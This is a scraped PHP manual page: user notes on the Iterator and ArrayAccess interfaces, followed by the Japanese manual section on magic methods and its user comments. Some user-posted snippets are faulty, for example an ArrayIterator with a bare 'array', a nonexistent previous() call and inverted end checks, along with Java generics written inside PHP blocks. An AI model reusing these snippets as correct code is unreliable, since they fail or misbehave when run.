Iterator interface usign key() next() rewind() is MORE slow than extends ArrayIterator with ArrayIterator::next(), ArrayIterator::rewind(), etc.,
wavetrex A(nospam)T gmail DOT com 01-Mar-2008 02:50
By reading the posts below I wondered if it really is impossible to make an ArrayAccess implementation really behave like a true array ( by being multi level )

Seems like it's not impossible. Not very preety but usable

<?php

class ArrayAccessImpl implements ArrayAccess {

  private $data = array();

  public function offsetUnset($index) {}

  public function offsetSet($index, $value) {
//    echo ("SET: ".$index."<br>");

    if(isset($data[$index])) {
        unset($data[$index]);
    }

    $u = &$this->data[$index];
    if(is_array($value)) {
        $u = new ArrayAccessImpl();
        foreach($value as $idx=>$e)
            $u[$idx]=$e;
    } else
        $u=$value;
  }

  public function offsetGet($index) {
//    echo ("GET: ".$index."<br>");

    if(!isset($this->data[$index]))
        $this->data[$index]=new ArrayAccessImpl();

    return $this->data[$index];
  }

  public function offsetExists($index) {
//    echo ("EXISTS: ".$index."<br>");

    if(isset($this->data[$index])) {
        if($this->data[$index] instanceof ArrayAccessImpl) {
            if(count($this->data[$index]->data)>0)
                return true;
            else
                return false;
        } else
            return true;
    } else
        return false;
  }

}

echo "ArrayAccess implementation that behaves like a multi-level array<hr />";

$data = new ArrayAccessImpl();

$data['string']="Just a simple string";
$data['number']=33;
$data['array']['another_string']="Alpha";
$data['array']['some_object']=new stdClass();
$data['array']['another_array']['x']['y']="LOL @ Whoever said it can't be done !";
$data['blank_array']=array();

echo "'array' Isset? "; print_r(isset($data['array'])); echo "<hr />";
echo "<pre>"; print_r($data['array']['non_existent']); echo "</pre>If attempting to read an offset that doesn't exist it returns a blank object! Use isset() to check if it exists!<br>";
echo "'non_existent' Isset? "; print_r(isset($data['array']['non_existent'])); echo "<br />";
echo "<pre>"; print_r($data['blank_array']); echo "</pre>A blank array unfortunately returns similar results :(<br />";
echo "'blank_array' Isset? "; print_r(isset($data['blank_array'])); echo "<hr />";
echo "<pre>"; print_r($data); echo "</pre> (non_existent remains in the structure. If someone can help to solve this I'll appreciate it)<hr />";

echo "Display some value that exists: ".$data['array']['another_string'];

?>

(in the two links mentioned below by artur at jedlinski... they say you can't use references, so I didn't used them.
My implementation uses recursive objects)

If anyone finds a better (cleaner) sollution, please e-mail me.
Thanks,
Wave.
doctorrock83_at_gmail.com 18-May-2007 03:10
Please remember that actually the only PHP iterating structure that uses Iterator is foreach().

Any each() or list() applied to an Object implementing iterator will not provide the expected result
artur at jedlinski dot pl 22-Apr-2007 12:38
One should be aware that ArrayAccess functionality described by "just_somedood at yahoo dot com" below is currently broken and thus it's pretty unusable.

Read following links to find more:
http://bugs.php.net/bug.php?id=34783
http://bugs.php.net/bug.php?id=32983
rune at zedeler dot dk 27-Feb-2007 08:00
The iterator template from knj at aider dot dk does not yield correct results.
If you do
<?
reset($a);
next($a);
echo current($a);
?>
where $a is defined over the suggested template, then the first element will be output, not the second, as expected.
baldurien at bbnwn dot eu 09-Aug-2006 06:01
Beware of how works iterator in PHP if you come from Java!

In Java, iterator works like this :
<?php
interface Iterator<O> {
  boolean hasNext();
  O next();
  void remove();
}
?>
But in php, the interface is this (I kept the generics and type because it's easier to understand)

<?php
interface Iterator<O> {
  boolean valid();
  mixed key();
  O current();
  void next();
  void previous();
  void rewind();
}
?>

1. valid() is more or less the equivalent of hasNext()
2. next() is not the equivalent of java next(). It returns nothing, while Java next() method return the next object, and move to next object in Collections. PHP's next() method will simply move forward.

Here is a sample with an array, first in java, then in php :

<?php
class ArrayIterator<O> implements Iterator<O> {
  private final O[] array;
  private int index = 0;

  public ArrayIterator(O[] array) {
     this.array = array;
  }

  public boolean hasNext() {
    return index < array.length;
  }

  public O next() {
     if ( !hasNext())
       throw new NoSuchElementException('at end of array');
     return array[index++];
  }

  public void remove() {
    throw new UnsupportedOperationException('remove() not supported in array');
  }
}
?>

And here is the same in php (using the appropriate function) :

<?php
/**
 * Since the array is not mutable, it should use an internal
 * index over the number of elements for the previous/next
 * validation.
 */
class ArrayIterator implements Iterator {
  private $array;
  public function __construct($array) {
    if ( !is_array($array))
      throw new IllegalArgumentException('argument 0 is not an array');
    $this->array = array;
    $this->rewind();
  }
  public function valid() {
    return current($this->array) !== false;
    // that's the bad method (should use arrays_keys, + index)
  }
  public function key() {
     return key($this->array);
  }
  public function current() {
    return current($this->array);
  }
  public function next() {
    if ( $this->valid())
      throw new NoSuchElementException('at end of array');
    next($this->array);
  }
  public function previous()  {
    // fails if current() = first item of array
    previous($this->array);
  }
  public function rewind() {
     reset($this->array);
  }
}
?>

The difference is notable : don't expect next() to return something like in Java, instead use current(). This also means that you have to prefetch your collection to set the current() object. For instance, if you try to make a Directory iterator (like the one provided by PECL), rewind should invoke next() to set the first element and so on. (and the constructor should call rewind())

Also, another difference :

<?php
class ArrayIterable<O> implements Iterable<O> {
  private final O[] array;

  public ArrayIterable(O[] array) {
     this.array = array;
  }

  public Iterator<O> iterator() {
     return new ArrayIterator(array);
  }
}
?>

When using an Iterable, in Java 1.5, you may do such loops :

<?php
for ( String s : new ArrayIterable<String>(new String[] {"a", "b"})) {
  ...
}
?>
Which is the same as :

<?php
Iterator<String> it = new ArrayIterable<String>(new String[] {"a", "b"});
while (it.hasNext()) {
  String s = it.next();
  ...
}
?>
While in PHP it's not the case :
<?php
foreach ( $iterator as $current ) {
  ...
}
?>
Is the same as :

<?php
for ( $iterator->rewind(); $iterator->valid(); $iterator->next()) {
  $current = $iterator->current();
  ...
}
?>

(I think we may also use IteratorAggregate to do it like with Iterable).

Take that in mind if you come from Java.

I hope this explanation is not too long...
chad 0x40 herballure 0x2e com 05-May-2006 06:46
The example code given for valid() will break if the array contains a FALSE value. This code prints out a single "bool(true)" and exits the loop when it gets to the FALSE:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(current($A) !== FALSE) {
  var_dump(current($A));
  next($A);
}
?>

Instead, the key() function should be used, since it returns NULL only at the end of the array. This code displays all four elements and then exits:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(!is_null(key($A))) {
  var_dump(current($A));
  next($A);
}
?>
markushe at web dot de 06-Aug-2005 11:05
Just something i noticed:
It seems, that when you are implementing the interface Iterator, yout method key() has to return a string or integer.

I was trying to return a object an got this error:
Illegal type returned from MyClass::key()
just_somedood at yahoo dot com 27-Jun-2005 12:20
To clarify on php at moechofe's post, you CAN use the SPL to overide the array operator for a class.  This, with the new features of object, and autoloading (among a buch of other things) has me completely sold on PHP5.  You can also find this information on the SPL portion of the manual, but I'll post it here as well so it isn't passed up.  The below Collection class will let you use the class as an array, while also using the foreach iterator:

<?php

class Collection implements ArrayAccess,IteratorAggregate
{
    public $objectArray = Array();
    //**these are the required iterator functions
    function offsetExists($offset)
    {
        if(isset($this->objectArray[$offset]))  return TRUE;
        else return FALSE;
    }

    function & offsetGet($offset)
    {
        if ($this->offsetExists($offset))  return $this->objectArray[$offset];
        else return (false);
    }

    function offsetSet($offset, $value)
    {
        if ($offset)  $this->objectArray[$offset] = $value;
        else  $this->objectArray[] = $value;
    }

    function offsetUnset($offset)
    {
        unset ($this->objectArray[$offset]);
    }

    function & getIterator()
    {
        return new ArrayIterator($this->objectArray);
    }
    //**end required iterator functions

    public function doSomething()
    {
        echo "I'm doing something";
    }
}

?>

I LOVE the new SPL stuff in PHP!  An example of usage is below:

<?php
class Contact
{
    protected $name = NULL;

    public function set_name($name)
    {
        $this->name = $name;
    }

    public function get_name()
    {
        return ($this->name);
    }
}

$bob = new Collection();
$bob->doSomething();
$bob[] = new Contact();
$bob[5] = new Contact();
$bob[0]->set_name("Superman");
$bob[5]->set_name("a name of a guy");

foreach ($bob as $aContact)
{
     echo $aContact->get_name() . "\r\n";
}
?>

Would work just fine.  This makes code so much simpler and easy to follow, it's great.  This is exactly the direction I had hoped PHP5 was going!
PrzemekG_ at poczta dot onet dot pl 27-May-2005 04:20
If you want to do someting like this:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>
you must return values by reference in your iterator object:
<?php
class MyObject implements Iterator
{
/* ...... other iterator functions ...... */
/* return by reference */
public function &current()
{
   return $something;
}
?>

This won't change values:
<?php
foreach($MyObject as $key => $value)
   $value = 'new '.$value;
?>

This will change values:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>

I think this should be written somewhere in the documentations, but I couldn't find it.
elias at need dot spam 10-Apr-2005 03:15
The MyIterator::valid() method above ist bad, because it
breaks on entries with 0 or empty strings, use key() instead:

<?php
public function valid()
{
    return ! is_null(key($this->var));
}
?>

read about current() drawbacks:
http://php.net/current
strrev('ed.relpmeur@ekneos'); 01-Mar-2005 02:25
Use the SPL ArrayAccess interface to call an object as array:

http://www.php.net/~helly/php/ext/spl/interfaceArrayAccess.html
phpnet at nicecupofteaandasitdown dot com 22-Feb-2005 08:09
You should be prepared for your iterator's current method to be called before its next method is ever called. This certainly happens in a foreach loop. If your means of finding the next item is expensive you might want to use something like this

private $item;

function next() {
    $this->item = &$this->getNextItem();
    return $this->item;
}

public function current() {
     if(!isset($this->item)) $this->next();
    return $this->item;
}
knj at aider dot dk 18-Dec-2004 07:19
if you in a string define classes that implements IteratorAggregate.
you cant use the default;
<?
...
public function getIterator() {
       return new MyIterator(\\$this-><What ever>);
}
..
?>
at least not if you want to use eval(<The string>).
You have to use:
<?
...
public function getIterator() {
      \\$arrayObj=new ArrayObject(\\$this-><What ever>);
      return \\$arrayObj->getIterator();
}
...
?>


マジックメソッド

マジックメソッドは、 ある動作がオブジェクトに対して行われた場合に、 PHP のデフォルトの動作を上書きする特別なメソッドです。

警告

__ で始まる全てのメソッドは、 PHP によって予約されています。 よって、PHP の動作を上書きするのでなければ、 このようなメソッド名を使うことは推奨されません。

以下の関数名は、マジックメソッドと見なされます:

__construct(),
__destruct(),
__call(),
__callStatic(),
__get(),
__set(),
__isset(),
__unset(),
__sleep(),
__wakeup(),
__serialize(),
__unserialize(),
__toString(),
__invoke(),
__set_state(),
__clone(),
__debugInfo()

警告

__construct(),
__destruct(),
__clone() を除く全てのマジックメソッドは、
public として宣言しなければいけません。
そうしないと、
E_WARNING レベルの警告が発生します。
PHP 8.0.0 より前のバージョンでは、
__sleep(),
__wakeup(),
__serialize(),
__unserialize(),
__set_state() については、エラーは発生していませんでした。

警告

マジックメソッドの定義で型宣言が使われている場合、 それらは、このマニュアルで説明しているシグネチャと同じでなければいけません。 そうでない場合、致命的なエラーが発生します。 PHP 8.0.0 より前のバージョンでは、 エラーは全く発生していませんでした。

__sleep() と __wakeup()

public __sleep ( ) : array
public __wakeup ( ) : void

serialize() は、クラスに特殊な名前 __sleep() の関数があるかどうかを調べます。 もしあれば、シリアル化の前にその関数を実行します。 この関数で、オブジェクトをクリアすることができます。 またこの関数は、シリアル化するオブジェクトについて、 すべての変数の名前を配列で返すことが前提となっています。 このメソッドが何も返さなかった場合は、null がシリアル化され、E_NOTICE が発生します。

注意:

__sleep() で、親クラスの private プロパティの名前を返すことはできません。 そうしようとすると E_NOTICE レベルのエラーとなります。 この場合は、__serialize() を代わりに使って下さい。

典型的な __sleep() の使用法は、 途中のデータをコミットしたり、 似たようなタスクのクリアを行うといったものです。 また、オブジェクトが非常に大きく、かつ、完全に保存する必要がない場合、 この関数が有用です。

逆に、unserialize() は、 特殊な名前 __wakeup() を有する 関数の存在を調べます。 もし存在する場合、この関数は、オブジェクトが有する可能性が あるあらゆるリソースを再構築することができます。

__wakeup() の使用目的は、 シリアル化の際に失われたデータベース接続を再度確立したり、 その他の再初期化を行うことです。

例1 sleep と wakeup

<?php
class Connection
{
    protected $link;
    private $dsn, $username, $password;

    public function __construct($dsn, $username, $password)
    {
        $this->dsn = $dsn;
        $this->username = $username;
        $this->password = $password;
        $this->connect();
    }

    private function connect()
    {
        $this->link = new PDO($this->dsn, $this->username, $this->password);
    }

    public function __sleep()
    {
        return array('dsn', 'username', 'password');
    }

    public function __wakeup()
    {
        $this->connect();
    }
}?>

__serialize() と __unserialize()

public __serialize ( ) : array
public __unserialize ( array $data ) : void

serialize() は、クラスが 特殊な名前 __serialize() を持つかを調べます。 もしあれば、シリアル化の前にその関数を実行します。 この関数は、オブジェクトをシリアル化した状態を示すキー/値のペアを連想配列にして返さなければなりません。 配列を返さなかった場合、TypeError がスローされます。

注意:

__serialize() と __sleep() が両方同じオブジェクトに定義されていた場合、 __serialize() だけが呼び出されます。 __sleep() は無視されます。 オブジェクトが Serializable インターフェイスを実装していた場合、 インターフェイスの serialize() メソッドは無視され、 __serialize() が代わりに使われます。

__serialize() の目的は、 任意のオブジェクトの表現をシリアライズしやすいように定義することです。 配列の要素はオブジェクトのプロパティに対応していても構いませんが、必須ではありません。

逆に、unserialize() は
特殊な名前 __unserialize() を持つかを調べます。
もしあれば、__serialize() が返した配列を復元し、この関数に渡します。
この関数では、その配列から必要に応じてオブジェクトのプロパティを復元して構いません。

注意:

__unserialize() と __wakeup() が両方同じオブジェクトに定義されていた場合、 __unserialize() だけが呼び出されます。 __wakeup() は無視されます。

注意:

この機能は PHP 7.4.0 以降で利用できます。

例2 Serialize と unserialize

<?php
class Connection
{
    protected $link;
    private $dsn, $username, $password;

    public function __construct($dsn, $username, $password)
    {
        $this->dsn = $dsn;
        $this->username = $username;
        $this->password = $password;
        $this->connect();
    }

    private function connect()
    {
        $this->link = new PDO($this->dsn, $this->username, $this->password);
    }

    public function __serialize(): array
    {
        return [
          'dsn' => $this->dsn,
          'user' => $this->username,
          'pass' => $this->password,
        ];
    }

    public function __unserialize(array $data): void
    {
        $this->dsn = $data['dsn'];
        $this->username = $data['user'];
        $this->password = $data['pass'];

        $this->connect();
    }
}?>

__toString()

public __toString ( ) : string

__toString() メソッドにより、 クラスが文字列に変換される際の動作を決めることができます。たとえば echo $obj; としたときに何を表示させるかといったことです。

警告

PHP 8.0.0 以降では、戻り値は PHP で標準的な型のセマンティクスに従います。 つまり、厳密な型付け が無効になっている場合、可能であれば文字列型に強制されます。

PHP 7.4 では、戻り値は文字列でなければいけません。 そうでない場合、Error がスローされます。

PHP 7.4.0 より前のバージョンでは、 戻り値は文字列でなければいけません。 そうでない場合、E_RECOVERABLE_ERROR が発生します。

警告

PHP 7.4.0 より前のバージョンでは、__toString() メソッド内から例外を投げることはできません。そうした場合、致命的なエラーが発生します。

例3 簡単な例

<?php
// 簡単なクラスを宣言
class TestClass
{
    public $foo;

    public function __construct($foo)
    {
        $this->foo = $foo;
    }

    public function __toString()
    {
        return $this->foo;
    }
}

$class = new TestClass('Hello');
echo $class;
?>

上の例の出力は以下となります。

Hello

__invoke()

__invoke ( ...$values ) : mixed

__invoke() メソッドは、 スクリプトがオブジェクトを関数としてコールしようとした際にコールされます。

例4 __invoke() の使用

<?php
class CallableClass
{
    public function __invoke($x)
    {
        var_dump($x);
    }
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>

上の例の出力は以下となります。

int(5)
bool(true)

__set_state()

static __set_state ( array $properties ) : object

この static メソッドは、 var_export() によって エクスポートされたクラスのためにコールされます。

このメソッドの唯一のパラメータは、エクスポートされたプロパティを ['property' => value, ...] の形式で保持する配列です。

例5 __set_state() の使用法

<?php

class A
{
    public $var1;
    public $var2;

    public static function __set_state($an_array)
    {
        $obj = new A;
        $obj->var1 = $an_array['var1'];
        $obj->var2 = $an_array['var2'];
        return $obj;
    }
}

$a = new A;
$a->var1 = 5;
$a->var2 = 'foo';

$b = var_export($a, true);
var_dump($b);
eval('$c = ' . $b . ';');
var_dump($c);
?>

上の例の出力は以下となります。

string(60) "A::__set_state(array(
   'var1' => 5,
   'var2' => 'foo',
))"
object(A)#2 (2) {
  ["var1"]=>
  int(5)
  ["var2"]=>
  string(3) "foo"
}

注意: var_export() でオブジェクトをエクスポートする際に、そのオブジェクトのクラスが __set_state() を実装しているかどうかは確認しません。 一部の内部クラスを扱う際に、この影響が出てきます。 エクスポートしたオブジェクトをインポートする際に、 __set_state() を実装するクラスのものだけをインポートさせるようにするのは、プログラマーの責務となります。

__debugInfo()

__debugInfo ( ) : array

このメソッドは、var_dump() がオブジェクトをダンプするときに、 プロパティの情報を取得するために呼ばれます。 もしオブジェクトにこのメソッドが定義されていなければ、 すべての public, protected, private プロパティを表示します。

例6 __debugInfo() の使用法

<?php
class C {
    private $prop;

    public function __construct($val) {
        $this->prop = $val;
    }

    public function __debugInfo() {
        return [
            'propSquared' => $this->prop ** 2,
        ];
    }
}

var_dump(new C(42));
?>

上の例の出力は以下となります。

object(C)#1 (1) {
  ["propSquared"]=>
  int(1764)
}

User Contributed Notes

vali dot dr at gmail dot com 03-Feb-2021 07:18
It should be noted that if you unset a class typed property and then try to access it,  __get will be called. But it MUST return the original type.

https://wiki.php.net/rfc/typed_properties_v2#overloaded_properties
ricasiano at gmail dot com 10-Dec-2020 09:59
Objects with __toString() passed within methods with type declarations(either from function arguments or return types) automagically converts it to string.

<?php

class Foo
{
    public function __toString()
    {
        return 'foo';
    }
}

class Bar
{
    public function setAndGetFoo(string $foo)
    {
        return $foo;
    }

    public function getFoo(): string
    {
        return new Foo();
    }
}

$foo = new Foo();
$bar = new Bar();
// string(3) "foo"
var_dump($bar->setAndGetFoo($foo));
// string(3) "foo"
var_dump($bar->getFoo());
ctamayo at sitecrafting dot com 18-Aug-2020 06:10
Due to a bug in PHP <= 7.3, overriding the __debugInfo() method from SPL classes is silently ignored.

<?php

class Debuggable extends ArrayObject {
  public function __debugInfo() {
    return ['special' => 'This should show up'];
  }
}

var_dump(new Debuggable());

// Expected output:
// object(Debuggable)#1 (1) {
//   ["special"]=>
//   string(19) "This should show up"
// }

// Actual output:
// object(Debuggable)#1 (1) {
//   ["storage":"ArrayObject":private]=>
//   array(0) {
//   }
// }

?>

Bug report: https://bugs.php.net/bug.php?id=69264
daniel dot peder at gmail dot com 30-Apr-2018 09:29
http://sandbox.onlinephpfunctions.com/code/4d2cc3648aed58c0dad90c7868173a4775e5ba0c

IMHO a bug or need feature change

providing a object as a array index doesn't try to us __toString() method so some volatile object identifier is used to index the array, which is breaking any persistency. Type hinting solves that, but while other than "string" type hinting doesn't work on ob jects, the automatic conversion to string should be very intuitive.

PS: tried to submit bug, but withot patch the bugs are ignored, unfortunately, I don't C coding

<?php

class shop_product_id {

    protected $shop_name;
    protected $product_id;

    function __construct($shop_name,$product_id){
        $this->shop_name = $shop_name;
        $this->product_id = $product_id;
    }

    function __toString(){
        return $this->shop_name . ':' . $this->product_id;
    }
}

$shop_name = 'Shop_A';
$product_id = 123;
$demo_id = $shop_name . ':' . $product_id;
$demo_name = 'Some product in shop A';

$all_products = [ $demo_id => $demo_name ];
$pid = new shop_product_id( $shop_name, $product_id );

echo "with type hinting: ";
echo ($demo_name === $all_products[(string)$pid]) ? "ok" : "fail";
echo "\n";

echo "without type hinting: ";
echo ($demo_name === $all_products[$pid]) ?  "ok" : "fail";
echo "\n";
kguest at php dot net 30-May-2017 01:27
__debugInfo  is also utilised when calling print_r on an object:

$ cat test.php
<?php
class FooQ {

     private $bar = '';

     public function __construct($val) {

         $this->bar = $val;
     }

     public function __debugInfo()
     {
         return ['_bar' => $this->bar];
     }
}
$fooq = new FooQ("q");
print_r ($fooq);

$ php test.php
FooQ Object
(
    [_bar] => q
)
$
smiley at HELLOSPAMBOT dot chillerlan dot net 09-Jan-2016 04:30
A simple API wrapper, using __call() and the PHP 5.6 "..." token.
http://php.net/manual/functions.arguments.php#functions.variable-arg-list

<?php
namespace Example;

use Exception;
use ReflectionClass;
use SomeApiInterface;
use SomeHttpClient;
use SomeEndpointHandler;

/**
 * Class SomeApiWrapper
 *
 * @method SomeEndpointHandler method1(MethodParams $param1)
 * @method SomeEndpointHandler method2(MethodParams $param1, AuthParams $param2 = null)
 * ...
 * @method SomeEndpointHandler method42()
 */
class SomeApiWrapper{

    /**
     * @var \SomeHttpClient
     */
    private $httpClient;

    /**
     * @var array
     */
    private $methodMap = [];

    /**
     * SomeApiWrapper constructor.
     */
    public function __construct(){
        $this->mapApiMethods();
        $this->httpClient = new SomeHttpClient();
    }

    /**
     * The API is flat and has ~ 150 endpoints, all of which take optional parameters
     * from up to 3 groups (method params, authentication, filters). Instead of
     * implementing the interface and adding countless stubs that have basically
     * the same signature, i just map its methods here and use __call().
     */
    private function mapApiMethods(){
        $reflectionClass = new ReflectionClass(SomeApiInterface::class);

        foreach($reflectionClass->getMethods() as $m){
            $this->methodMap[] = $m->name;
        }
    }

    /**
     * Thanks to the PHP 5.6+ "..." token, there's no hassle with the arguments anymore
     * (ugh, bad pun). Just hand the method parameters into the endpoint handler,
     * along with other mandatory params - type hints are your friends.
     *
     * It's magic!
     *
     * @param string $method
     * @param array  $arguments
     *
     * @return \SomeEndpointHandler
     * @throws \Exception
     */
    public function __call($method, $arguments){

        if(in_array($method, $this->methodMap)){
            return new SomeEndpointHandler($this->httpClient, $method, ...$arguments);
        }

        throw new Exception('Endpoint "'.$method.'" does not exist');
    }

}
danillo dot paiva dot toledo at gmail dot com 16-May-2013 07:39
While I was studying Ruby I saw as such interesting things as properties created + its getters and setters in just one line.

I tryied to do the same in PHP and this is the code I have

class Father {
    public function __call($name, $args) {
        if(isset($this->$name)) {
            if(isset($args[0]))
                return $this->$name = $args[0];
            return $this->$name;
        }
        return false;
    }
}

class Child extends Father {
    public $country = "Brazil";
    public $state = "Sao Paulo";
}

Sometimes we don't need things like that on all classes but is quite interesting.
staff at pro-unreal dot de 16-May-2013 06:08
To avoid instanciating the parent instead of the inherited class for __set_state() as reported by jsnell, you could use late static binding introduced in PHP 5.3:

<?php
class A {
    public static function __set_state($data) {
        return new static();
    }
}

class B extends A {
}

$instance = new B();
eval('$test = ' . var_export($instance, true) . ';');
var_dump($test);
// -> object(B)#2 (0) {
// }
?>
daan dot broekhof at gmail dot com 14-Feb-2012 10:54
Ever wondered why you can't throw exceptions from __toString()? Yeah me too.

Well now you can! This trick allows you to throw any type of exception from within a __toString(), with a full & correct backtrace.

How does it work? Well PHP __toString() handling is not as strict in every case: throwing an Exception from __toString() triggers a fatal E_ERROR, but returning a non-string value from a __toString() triggers a non-fatal E_RECOVERABLE_ERROR.
Add a little bookkeeping, and can circumvented this PHP deficiency!
(tested to work PHP 5.3+)

<?php

set_error_handler(array('My_ToStringFixer', 'errorHandler'));
error_reporting(E_ALL | E_STRICT);

class My_ToStringFixer
{
    protected static $_toStringException;

    public static function errorHandler($errorNumber, $errorMessage, $errorFile, $errorLine)
    {
        if (isset(self::$_toStringException))
        {
            $exception = self::$_toStringException;
            // Always unset '_toStringException', we don't want a straggler to be found later if something came between the setting and the error
            self::$_toStringException = null;
            if (preg_match('~^Method .*::__toString\(\) must return a string value$~', $errorMessage))
                throw $exception;
        }
        return false;
    }

    public static function throwToStringException($exception)
    {
        // Should not occur with prescribed usage, but in case of recursion: clean out exception, return a valid string, and weep
        if (isset(self::$_toStringException))
        {
            self::$_toStringException = null;
            return '';
        }

        self::$_toStringException = $exception;

        return null;
    }
}

class My_Class
{
    public function doComplexStuff()
    {
        throw new Exception('Oh noes!');
    }

    public function __toString()
    {
        try
        {
            // do your complex thing which might trigger an exception
            return $this->doComplexStuff();
        }
        catch (Exception $e)
        {
            // The 'return' is required to trigger the trick
            return My_ToStringFixer::throwToStringException($e);
        }
    }
}

$x = new My_Class();

try
{
    echo $x;
}
catch (Exception $e)
{
    echo 'Caught Exception! : '. $e;
}
?>
osbertv at yahoo dot com 29-Dec-2011 09:42
Invoking a class inside a class results in an error.

<?php
class A
{
    public function __invoke()
    {
        echo "Invoking A() Class";
    }
}

class B
{
    public $a;

    public function __construct()
    {
        $this->a = new A();
    }

    public function __invoke()
    {
        echo "Invoking B() Class";
    }
}

$a = new A();
$b = new B();
$a();
$b();
$b->a();

?>

returns
Invoking B() Class
PHP Fatal error:  Call to undefined method B::a()
Wesley 25-May-2011 12:10
Warning __toString can be triggerd more then one time

<?php
if(strstr(substr($obj,0,1024), 'somestuff')
    echo $obj;
return 'missing somestuff at the start, create container!';

substr() will trigger a __toString aswell as echo $obj;
?>

wich cause a performance issue since it will gather all data twice.

what i used as a hotfix:

<?php
__toString(){
  if(null === $this->sToString)
     $this->sToString = $this->_show();
  return $this->sToString;
}
?>
Anonymous 24-Jul-2010 07:41
Concerning __set() with protected/private/overloaded properties, the behavior might not be so intuitive without knowing some underlying rules.  Consider this test object for the following examples...

<?php
class A {
    protected $test_int = 2;
    protected $test_array = array('key' => 'test');
    protected $test_obj;

    function __construct() {
        $this->test_obj = new stdClass();
        }

    function __get($prop) {
        return $this->$prop;
        }

    function __set($prop, $val) {
        $this->$prop = $val;
        }
    }

$a = new A();

?>

Combined Operators (.=, +=, *=, etc): you must also define a companion __get() method to grant write -and- read access to the property.  Remember, "$x += $y" is shorthand for "$x = $x + $y".  In other words, "__set($x, (__get($x) + $y))".

Properties that are Arrays: attempting to set array values like "$a->test_array[] = 'asdf';" from outside this object will result in an "Indirect modification of overloaded property" notice and the operation completely ignored.  You can't use '[]' for array value assignment in this context (with the exception only if you made __get() return by reference, in which case, it would work fine and bypass the __set() method altogether).  You can work around this doing something like unioning the array instead:

<?php

$a->test_array[] = 'asdf'; // notice given and ignored unless __get() was declared to return by reference
$a->test_array += array(1 => 'asdf'); // to add a key/value
$a->test_array = array("key" => 'asdf') + $a->test_array; // to overwrite a  key/value.

?>

Properties that are Objects: as long as you have that __get() method, you can freely access and alter that sub object's own properties, bypassing __set() entirely.  Remember, objects are assigned and passed by reference naturally.

<?php

$a->test_obj->prop = 1; // fine if $a did not have a set method declared.

?>

All above tested in 5.3.2.
tom 18-Jul-2010 03:20
Note a common pitfall when using __wakeup.

If you unserialize a datastructure, you may not rely on the parent object to have been fully unserialized by the time __wakeup is called. Example

<?php
class A {
 public $b;
 public $name;
}

class B extends A {
 public $parent;
 public function __wakeup() {
  var_dump($parent->name);
 }
}

$a = new A();
$a->name = "foo";
$a->b = new B();
$a->b->parent = $a;
$s = serialize($a);
$a = unserialize($s);
?>

Expected output: "foo".
Actual output: NULL.

Reason: $b is unserialized before $name. By the time B::__wakeup is called, $a->name does not yet have a value.

So be aware that the order in which your class variables are defined is important! You need to manually order them by dependencies - or write a __sleep function and order them by depencies there. (Currently I can't tell which option I hate more)
Anonymous 30-Jun-2010 09:29
C++-style operator overloading finally makes an appearance with the introduction to __invoke().  Unfortunately, with just '()'.  In that sense, it is no more useful than having a default class method (probably quite useful actually) and not having to type out an entire method name.  Complimenting wbcarts at juno dot com's point class below, the following allows calculating distance between one or more graph points...

<?php

class point {
    public $x;
    public $y;

    function __construct($x=0, $y=0) {
        $this->x = (int) $x;
        $this->y = (int) $y;
        }

    function __invoke() {
        $args = func_get_args();
        $total_distance = 0;
        $current_loc = $this;
        foreach ($args as $arg) {
            if (is_object($arg) and (get_class($arg) === get_class($this))) {
                $total_distance += sqrt(pow($arg->x - $current_loc->x, 2) + pow((int) $arg->y - $current_loc->y, 2));
                $current_loc = $arg;
                }
            else {
                trigger_error("Arguments must be objects of this class.");
                return;
                }
            }
        return $total_distance;
        }

    }

$p1 = new point(1,1);
$p2 = new point(23,-6);
$p3 = new point(15,20);
echo $p1($p2,$p3,$p1); // round trip 73.89

?>

Functionally, __invoke() can also be used to mimic the use of variable functions.  Sadly, attempting any calling of __invoke() on a static level will produce a fatal error.
rudie-de-hotblocks at osu1 dot php dot net 09-Apr-2009 06:35
Note also that the constructor is executed also, and before __set_state(), making this magic function less magic, imho, (except for the ability to assign private members).
jsnell at e-normous dot com 03-Dec-2008 02:01
Be very careful to define __set_state() in classes which inherit from a parent using it, as the static __set_state() call will be called for any children.  If you are not careful, you will end up with an object of the wrong type.  Here is an example:

<?php
class A
{
    public $var1;

    public static function __set_state($an_array)
    {
        $obj = new A;
        $obj->var1 = $an_array['var1'];
        return $obj;
    }
}

class B extends A {
}

$b = new B;
$b->var1 = 5;

eval('$new_b = ' . var_export($b, true) . ';');
var_dump($new_b);
/*
object(A)#2 (1) {
  ["var1"]=>
  int(5)
}
*/
?>
jon at webignition dot net 03-Oct-2008 07:26
The __toString() method is extremely useful for converting class attribute names and values into common string representations of data (of which there are many choices). I mention this as previous references to __toString() refer only to debugging uses.

I have previously used the __toString() method in the following ways:

 - representing a data-holding object as:
   - XML
   - raw POST data
   - a GET query string
   - header name:value pairs

 - representing a custom mail object as an actual email (headers then body, all correctly represented)

When creating a class, consider what possible standard string representations are available and, of those, which would be the most relevant with respect to the purpose of the class.

Being able to represent data-holding objects in standardised string forms makes it much easier for your internal representations of data to be shared in an interoperable way with other applications.
Anonymous 31-May-2008 04:24
Serializing objects is problematic with references. This is solved redefining the __sleep() magic method. This is also problematic when parent class has private variables since the parent object is not accessible nor its private variables from within the child object.

I found a solution that seems working for classes that implements this __sleep() method, and for its subclasses. Without more work in subclasses. The inheritance system does the trick.

Recursively __sleep() call parent' __sleep() and return the whole array of variables of the object instance to be serialized.

<?php
class foo {
}

class a {
  private $var1;

  function __construct(foo &$obj = NULL) {
    $this->var1 = &$obj;
  }

  /** Return its variables array, if its parent exists and the __sleep method is accessible, call it and push the result into the array and return the whole thing. */
  public function __sleep() {
    $a = array_keys(get_object_vars(&$this));
    if (method_exists(parent, '__sleep')) {
      $p = parent::__sleep();
      array_push($a, $p);
    };
    return $a;
  }
}

class b extends a {
  function __construct(foo &$obj = NULL) {
    parent::__construct($obj);
  }
}

session_start();
$myfoo = &new foo();
$myb = &new b($myfoo);
$myb = unserialize(serialize(&$myb));
?>

This should work, I haven't tested deeper.
yanleech at gmail dot com 10-May-2008 06:24
Maybe we can using unserialize() & __wakeup() instead "new" when creating a new instance of class.

Consider following codes:

class foo
{
    static public $WAKEUP_STR = 'O:3:"foo":0:{}';
    public function foo(){}
    public function bar(){}
}

$foo = unserialize(foo::$WAKEUP_STR);
